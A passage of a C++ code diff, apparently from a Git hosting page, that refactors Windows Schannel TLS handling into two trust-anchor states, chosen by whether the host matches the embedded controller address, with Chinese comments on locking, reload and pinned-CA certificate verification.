|
||||
{
|
||||
if (!g_tlsLoaded) {
|
||||
std::string err;
|
||||
ApplyTlsStateLocked(true, err);
|
||||
if (g_state[idx].loaded)
|
||||
return;
|
||||
|
||||
std::string err;
|
||||
if (idx == 1) {
|
||||
ApplyTlsStateLocked(1, true, err, false);
|
||||
return;
|
||||
}
|
||||
|
||||
ApplyTlsStateLocked(1, true, err, true); // 本连接不用,但其它目标/热重载还要用
|
||||
ApplyTlsStateLocked(0, true, err, true);
|
||||
const TlsState& st = g_state[0];
|
||||
if (st.error)
|
||||
Mprintf("[TLS] this connection: fail-closed, trust anchor unusable\n");
|
||||
else if (st.enabled)
|
||||
Mprintf("[TLS] this connection: TLS with trust anchor (%s)\n", st.source.c_str());
|
||||
else
|
||||
Mprintf("[TLS] this connection: plaintext mode\n");
|
||||
}
|
||||
|
||||
// 本连接用哪一套状态:目标命中内嵌锚的主控地址就用 [1],否则 [0]。
|
||||
// 不持 g_tlsMtx:里面可能解析域名(见 g_matchMtx 的注释),调用方应在取锁**之前**调用。
|
||||
int ResolveStateIndex(const std::string& host, const std::string& configured)
|
||||
{
|
||||
return EmbeddedAnchorAppliesTo(host, configured) ? 1 : 0;
|
||||
}
|
||||
|
||||
} // namespace
|
||||
@@ -232,21 +526,43 @@ inline void EnsureTlsLoadedLocked()
|
||||
bool TlsEnabled()
|
||||
{
|
||||
std::lock_guard<std::mutex> lk(g_tlsMtx);
|
||||
EnsureTlsLoadedLocked();
|
||||
return g_tlsEnabled;
|
||||
EnsureStateLocked(1);
|
||||
return g_state[1].enabled;
|
||||
}
|
||||
|
||||
bool TlsLoadError()
|
||||
{
|
||||
std::lock_guard<std::mutex> lk(g_tlsMtx);
|
||||
EnsureTlsLoadedLocked();
|
||||
return g_tlsError;
|
||||
EnsureStateLocked(1);
|
||||
return g_state[1].error;
|
||||
}
|
||||
|
||||
bool TlsEnabledFor(const std::string& host, const std::string& configured)
|
||||
{
|
||||
const int idx = ResolveStateIndex(host, configured); // DNS 在锁外
|
||||
std::lock_guard<std::mutex> lk(g_tlsMtx);
|
||||
EnsureStateLocked(idx);
|
||||
return g_state[idx].enabled;
|
||||
}
|
||||
|
||||
bool TlsLoadErrorFor(const std::string& host, const std::string& configured)
|
||||
{
|
||||
const int idx = ResolveStateIndex(host, configured); // DNS 在锁外
|
||||
std::lock_guard<std::mutex> lk(g_tlsMtx);
|
||||
EnsureStateLocked(idx);
|
||||
return g_state[idx].error;
|
||||
}
|
||||
|
||||
bool TlsReload(std::string& err)
|
||||
{
|
||||
std::lock_guard<std::mutex> lk(g_tlsMtx);
|
||||
return ApplyTlsStateLocked(!g_tlsLoaded, err);
|
||||
// 两套一起重建:一套失败按「保持原状」处理(ApplyTlsStateLocked 内部保证),
|
||||
// 另一套照常更新。返回 false 表示至少有一套没换成新锚。
|
||||
std::string err1, err0;
|
||||
const bool ok1 = ApplyTlsStateLocked(1, !g_state[1].loaded, err1, false);
|
||||
const bool ok0 = ApplyTlsStateLocked(0, !g_state[0].loaded, err0, true);
|
||||
err = ok1 ? err0 : err1;
|
||||
return ok1 && ok0;
|
||||
}
|
||||
|
||||
// ---- TlsChannel ----
|
||||
@@ -285,19 +601,22 @@ bool TlsChannel::VerifyServerCert()
|
||||
// 持锁时间很短:建链全是本地操作(DISABLE_AIA 禁联网取中间证书,也不带任何
|
||||
// CERT_CHAIN_REVOCATION_CHECK_* 位),不会因为网络等待而卡住 TlsReload。
|
||||
std::lock_guard<std::mutex> lk(g_tlsMtx);
|
||||
if (!g_tlsStore || !g_tlsEngine) {
|
||||
const TlsState& st = g_state[m_stateIdx];
|
||||
if (!st.store || !st.engine) {
|
||||
CertFreeCertificateContext(remote);
|
||||
return false;
|
||||
}
|
||||
// 本连接实际用的是哪一套信任锚:登录上报 CLIENT_CAP_EMBEDDED_ANCHOR 靠它。
|
||||
m_anchorEmbedded = st.anchorEmbedded;
|
||||
|
||||
CERT_CHAIN_PARA para = {};
|
||||
para.cbSize = sizeof(para);
|
||||
PCCERT_CHAIN_CONTEXT chain = NULL;
|
||||
// g_tlsEngine 的 hExclusiveRoot 已把信任锚限制为 g_tlsStore;hAdditionalStore 再传一次
|
||||
// st.engine 的 hExclusiveRoot 已把信任锚限制为 st.store;hAdditionalStore 再传一次
|
||||
// 该 store 供链引擎查找 CA/中间证书。只接受「无任何错误位」的链(含时间有效性)。
|
||||
// 不设置任何 CERT_CHAIN_REVOCATION_CHECK_* 位 = 不做吊销检查(私有 CA 无 CRL/OCSP,
|
||||
// 且这些位会触发联网,反而失败);只保留 CERT_CHAIN_DISABLE_AIA 禁止联网取中间证书。
|
||||
BOOL ok = CertGetCertificateChain(g_tlsEngine, remote, NULL, g_tlsStore, ¶,
|
||||
BOOL ok = CertGetCertificateChain(st.engine, remote, NULL, st.store, ¶,
|
||||
CERT_CHAIN_DISABLE_AIA,
|
||||
NULL, &chain);
|
||||
bool trusted = false;
|
||||
@@ -309,11 +628,27 @@ bool TlsChannel::VerifyServerCert()
|
||||
return trusted;
|
||||
}
|
||||
|
||||
bool TlsChannel::Handshake(SOCKET sock, const char* sni)
|
||||
bool TlsChannel::Handshake(SOCKET sock, const char* sni, const std::string& host,
|
||||
const std::string& configured)
|
||||
{
|
||||
std::lock_guard<std::recursive_mutex> lk(m_ctxMtx);
|
||||
CloseHandles(); // 重连时清理上一次会话(recursive 锁,此处可重入)
|
||||
|
||||
// 本连接用**哪一套**状态(允许/不允许内嵌锚)在握手开始时定下,之后不再改——地址
|
||||
// 匹配只算这一次,而它可能要解析域名,必须在取 g_tlsMtx 之前做完。
|
||||
//
|
||||
// 注意别把这里读成「锚本身也定死了」:这套状态里的 store/链引擎由 TlsReload 原地
|
||||
// 替换,握手末尾的 VerifyServerCert 读的是**此刻**的 g_state[m_stateIdx]。这是有意
|
||||
// 为之——服务端刚下发的锚对正在进行的握手也立即生效;两套锚之间不会串,校验只认
|
||||
// m_stateIdx 那一套。
|
||||
m_anchorEmbedded = false;
|
||||
const int idx = ResolveStateIndex(host, configured);
|
||||
{
|
||||
std::lock_guard<std::mutex> stlk(g_tlsMtx);
|
||||
m_stateIdx = idx;
|
||||
EnsureStateLocked(idx);
|
||||
}
|
||||
|
||||
SCHANNEL_CRED cred = {};
|
||||
cred.dwVersion = SCHANNEL_CRED_VERSION;
|
||||
cred.dwFlags = SCH_CRED_MANUAL_CRED_VALIDATION | SCH_CRED_NO_DEFAULT_CREDS;
|
||||
|
||||
Reference in new issue
Block a user